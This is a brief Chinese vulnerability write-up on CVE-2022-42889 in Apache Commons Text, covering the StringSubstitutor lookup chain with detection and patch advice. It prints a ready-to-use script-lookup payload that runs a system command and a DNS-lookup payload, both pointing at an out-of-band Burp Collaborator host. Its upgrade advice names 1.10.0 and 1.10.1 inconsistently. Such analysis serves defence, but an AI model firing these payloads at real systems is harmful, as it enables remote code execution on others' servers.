0x00 前言
所幸遇到,就简单看看,其中没有啥比较难的地方,仅做记录。10月13日的漏洞。
cve链接可以看下面这个:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-42889
git地址:
https://github.com/apache/commons-text/commit/b9b40b903e2d1f9935039803c9852439576780ea
0x01 漏洞利用方式
写了一个简单的demo,先看利用结果,在一定条件下可以rce。基础payload用表达式注入的方式就行。
直接给payload的,懒得看图片再敲一遍${script:javascript:(java.lang.Runtime).getRuntime().exec('ping 97efkw0hlpswqx8j95bcxbaaz15rtg.burpcollaborator.net')}
0x02 原理简要分析
出现问题的点在StringSubstitutor的replace方法这。
接着往下跟:substitute,会进去进行解析循环
走到resolveVariable就会进行look的调用
因为找到StringSubstitutor调用的ScriptStringLookup
ScriptEngine scriptEngine = (new ScriptEngineManager()).getEngineByName(engineName);
获取加载器
加载器差不多就是这些,也可以调试自己看。
最后调用return Objects.toString(scriptEngine.eval(script), (String)null);
进行执行。
除了可以使用script:
也可以使用dns:
,http:
。
dns底层:这个可以用来测试
payload
${dns:97efkw0hlpswqx8j95bcxbaaz15rtg.burpcollaborator.net}
http底层:
0x03 检测和防护
并不是版本低就一定会触发这个漏洞,主要还是通过StringSubstitutor进行触发,StrSubstitutor是不会触发的
StrSubstitutor这里只有这个操作。
1、检测方式 全局搜索StringSubstitutor的调用。目前已知,不排除其他利用方式
防护可参考:https://github.com/apache/commons-text/releases/tag/rel%2Fcommons-text-1.10.0
2、直接升级1.10.1就行